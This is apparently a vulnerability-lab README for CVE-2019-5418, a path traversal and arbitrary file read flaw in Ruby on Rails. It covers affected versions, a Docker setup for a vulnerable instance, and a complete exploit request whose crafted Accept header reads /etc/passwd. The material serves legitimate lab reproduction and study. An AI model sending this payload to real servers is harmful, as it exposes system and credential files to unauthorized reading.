Aaron
63285f61aa
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49 lines
1.5 KiB
Markdown
49 lines
1.5 KiB
Markdown
# Ruby on Rails Path Traversal and Arbitrary File Read (CVE-2019-5418)
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[中文版本(Chinese version)](README.zh-cn.md)
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Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
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There is a local file inclusion vulnerability in Ruby on Rails action view <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3.
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When using `render file` in a controller to render views outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value `Accept: ../../../../../../../../etc/passwd{{`, attackers can exploit a path traversal vulnerability to read arbitrary files.
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References:
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- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
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- https://github.com/mpgn/CVE-2019-5418
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- https://xz.aliyun.com/t/4448
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## Environment Setup
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Execute the following command to compile and start Ruby on Rails 5.2.2:
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```
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docker compose build
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docker compose up -d
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```
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After the server starts, visit `http://your-ip:3000` to see the Ruby on Rails welcome page.
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## Vulnerability Reproduction
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Visit `http://your-ip:3000/robots` to see that the normal robots.txt file is being read.
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To exploit the vulnerability, send the following request to read `/etc/passwd`:
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```
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GET /robots HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: ../../../../../../../../etc/passwd{{
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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Successfully read the file:
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